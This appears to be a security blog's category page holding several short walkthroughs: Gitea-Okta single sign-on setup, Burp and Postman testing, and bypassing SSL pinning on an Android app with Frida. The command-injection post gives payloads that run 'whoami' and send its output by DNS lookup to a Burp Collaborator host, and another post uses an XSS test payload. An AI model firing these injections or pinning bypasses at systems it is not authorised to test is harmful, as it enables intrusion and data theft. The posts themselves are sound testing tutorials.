Skip to content

Category: Tools Walkthrough

How to integrate Gitea with Okta (Authentication)?

Published by Bobby Lin on September 17, 2022

Start up Gitea

Create a docker.compose.yml file with the latest Gitea rootless image:

version: "3"

networks:
  gitea:
    external: false

services:
  server:
    image: gitea/gitea@sha256:ef6279e13e223d956bc417f299a3530795afcf79f3af429a5c893262c550a648
    container_name: gitea
    environment:
      - USER_UID=1000
      - USER_GID=1000
    restart: always
    networks:
      - gitea
    volumes:
      - ./gitea:/data
      - /etc/timezone:/etc/timezone:ro
      - /etc/localtime:/etc/localtime:ro
    ports:
      - "3000:3000"
      - "222:22"

Run a command to start Gitea as a docker image in your machine:

docker-compose --project-name gitea -f docker.compose.yml up -d
docker ps -a # Check if the containers are running

Go to localhost and you can see that a local instance of Gitea is running.

Okta integration

Create a Web app in Okta:

Configure the redirect URL: http://localhost:3000/user/oauth2/okta/callback

Save the Client Id and Client secret that will be input into Gitea

You must name the authentication to be the same name under the redirect url. In this case, I have name it as okta

http://localhost:3000/user/oauth2/okta/callback

The admin should paste the Client Id and Client secrets from Okta app to the Authentication Sources tab in “Site Administration”.

Test the integration between Gitea and Okta

Sign in with OpenID

You will be redirected to Okta for authentication (ensure MFA is enabled preferably with FIDO2)

If this is the first time that you login with Gitea, you will need to fill in your username and email address to create an account.

OWASP Attack Surface Detector (ASD) – Demo

Published by Bobby Lin on October 20, 2020

In this post, we will see how Attack Surface Detector (ASD) can be used to expand the attack surfaces of a web application. This is useful in improving test coverage of many Dynamic Application Security Testing (DAST) tools. As I have pointed out in this post, many DAST tools are not able to identify some attack surfaces during the spidering / crawling stage.

I will not go through how to install ASD.

First, clone this project and then run it. You will need to use Java 8. If you are using Java 11, then set JAVA_HOME and PATH to Java 8 (JDK).

Please follow this video first on how to install ASD extension in Burp Suite.

In the screenshot below, we can see that Target > Site map is showing the highlighted endpoints are generated from ASD. Select the highlighted endpoints and run an active scan.

We can see that Cross-site Scripting are detected in the imported assets from the source code.

To verify, we can load one of the attack payload to see the result.

Why ASD is useful?

There are times where the web application is so huge and no one have an accurate inventory of the endpoints. This means that there might be untested endpoints during DAST / Manual Testing. ASD helps to ensure at least the endpoints that are derived from the source code will be added to the testing.

Testing Blind Command Injection with Burp Collaborator

Published by Bobby Lin on August 28, 2020

Recently, I was doing a few labs on Command Injection. It was mentioned that in most situation, the tester will not be able to see the response of the injected command. Therefore, alternative ways will need to be explored to check if the Blind Command Injection exists in the web application.

One of the ways that we can validate the existence of the Blind Command injection is to inject a nslookup command. In this scenario, we can use Burp Collaborator to validate if the web application has performed a DNS lookup. Please refer to this lab for more details.

First, you will need to click “Copy to clipboard” in the Burp Collaborator client. Insert the copied URL into the vulnerable parameter. Send this request to the web server.

Payload: & nslookup <INSERT BURP COLLABORATOR URL HERE> &
Example: & nslookup abcde1234.burpcollaborator.net. &

Secondly, you can click “Poll now” in the Burp Collaborator client. If there is a new DNS lookup appearing, it means that the Blind Command Injection is working.

In addition, you can also extract the output of the command using the below payload:

& nslookup `whoami`.<INSERT BURP COLLABORATOR URL HERE> &

In Burp Collaborator, we can see that there was a DNS lookup to the domain (containing the whoami result).

Using Postman to automate some Security Test Cases

Published by Bobby Lin on March 7, 2020

There are many available testing tools that help Security and Software engineers to automate their security testing. However, there are situations which requires some manual testing in order to discover vulnerabilities. Still, we don’t have to manual test the same test cases every time. After we discover the test workflow, we can write a test case in Postman and run it automatically in our CI/CD platform.

In this article, I will demonstrate some ways to automate the manually generated test cases using Postman. One of the ways is to capture the traffic when we are testing manually and then export it into Postman. Then we can write a test case in JavaScript to validate the response based on the type of vulnerabilities. Some improvement can be made is to include different payloads in the test cases.

Capturing Traffic of the workflow

In this example, I will be using Burp suite (Community Edition) to demonstrate how we can capture the workflow and export it to Postman.

First, install the Postman Integration extension to Burp suite. This allows us to export the request to Postman.

Install Postman Integration in BApp Store

Now, we will be using http://demo.testfire.net/login.jsp to capture a XSS payload request.

Enter the XSS payload in the search bar
An alert box displaying 1 should appear. This shows that the search bar is vulnerable to XSS.

We can observe that the payload ‘<script>alert(‘1′)</script>’ appears in the response. Later on, we want to use this observation to write a test case that will fail the XSS test if ‘<script>alert(‘1′)</script>’ appears in the response.

Now we want to export this request to Postman. Simply right click on the request and click ‘Export as Postman Collection’.

There will be a pop-out that allows us to set the Collection Name and Folder Name. We can also name the Test case (in this case, I named it as ‘Test XSS in Search Bar’). After the values are set, we can export it and then import the file into Postman.

Open up Postman and click ‘Import’. Choose the exported file and import to Postman. The Collection will appear at the side menu and we will see a folder called XSS. The request will be found in the folder.

Run the test and we shall see that the payload is in the response.

Writing Test case in Postman to validate

We can write the test case in JavaScript. For more information, please visit this link.

Since we know that this web application does not use any JS Frameworks (like Angular / ReactJS), we can simply check if the response will return the exact payload to validate if it contains a reflected XSS vulnerability.

In Postman, click on the ‘Tests’ tab. We can write a test case to test for reflected XSS. So if the response does not include the payload ‘<script>alert(‘1′)</script>’, then it passes the reflected XSS. And we can include different payload as well to ensure that the web application defence against XSS is robust.

In this scenario, we can see that the test failed because reflected XSS is found.

Disabling SSL Pinning in Android Apps using Frida / Objection

Published by Bobby Lin on November 16, 2019

First, we check if SSL Pinning is enabled in the target Android app by opening up the app. We can see that there is error during the communication between the mobile client and server.

SSL Pinning is enabled in the app

Step 1: Start Frida server in the Android device

adb shell "/data/local/tmp/frida-server &"

Step 2: Run Objection on the target application

objection -g sg.parking.streetsmart explore -q

Step 3: Run the command to disable SSL Pinning in the Android app

android sslpinning disable

Console showing that the method for certificate pinning is bypassed.

Now we can read the request made by the app.

No more SSL error message

Killing Frida-Server

If you face any error and require to restart the Frida-Server, you can kill the frida server process by following these commands:

adb shell
ps -e | grep frida-server
kill -9 pid <pid of the frida-server>

Unable to find executable

How to edit response in Burp Proxy?

Published by Bobby Lin on October 30, 2019

In this post, I will show how you can edit the response in Burp Proxy. This is useful in cases where you want to demonstrate that you can inject JavaScript code in the response. I will use the domain “www.example.com” to illustrate.

1) First, intercept the GET request and then click on Action button. In the menu, select ‘Do intercept’ > ‘Response to this request’.

2) Click Forward to allow the GET request to be made. Then you will notice that you can now see the response from www.example.com

3) In the response, you can simply perform malicious actions such as tampering the HTML body or inserting JavaScript code into the response.

4) Finally, when you forward the edited response, the alert will appear and the body will show that it is tampered.